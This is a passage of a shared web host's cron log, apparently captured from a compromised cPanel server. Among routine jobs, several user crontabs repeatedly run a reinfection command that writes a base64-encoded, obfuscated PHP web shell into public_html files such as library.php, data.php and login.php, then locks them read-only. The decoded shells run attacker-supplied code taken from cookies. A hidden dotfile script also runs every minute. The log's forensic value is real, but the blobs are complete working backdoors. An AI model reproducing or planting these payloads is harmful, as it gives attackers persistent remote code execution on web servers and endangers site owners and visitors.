ghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:56:01 medusa CROND[24578]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 05:56:01 medusa CROND[24579]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:56:01 medusa CROND[24580]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 05:57:01 medusa CROND[17131]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 05:57:01 medusa CROND[17134]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:57:01 medusa CROND[17136]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:57:01 medusa CROND[17137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:57:01 medusa CROND[17138]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:57:01 medusa CROND[17139]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:57:01 medusa CROND[17141]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:57:01 medusa CROND[17142]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:57:01 medusa CROND[17143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:57:01 medusa CROND[17144]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:57:01 medusa CROND[17149]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:57:01 medusa CROND[17151]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:58:01 medusa CROND[9698]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 05:58:01 medusa CROND[9700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:58:01 medusa CROND[9701]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:58:01 medusa CROND[9702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:58:01 medusa CROND[9703]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:58:01 medusa CROND[9705]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:58:01 medusa CROND[9704]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:58:01 medusa CROND[9707]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 05:58:01 medusa CROND[9708]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:58:01 medusa CROND[9712]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:58:01 medusa CROND[9713]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:58:01 medusa CROND[9714]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:58:01 medusa CROND[9717]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:58:01 medusa CROND[9728]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:59:01 medusa CROND[2095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:59:01 medusa CROND[2096]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 05:59:01 medusa CROND[2098]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
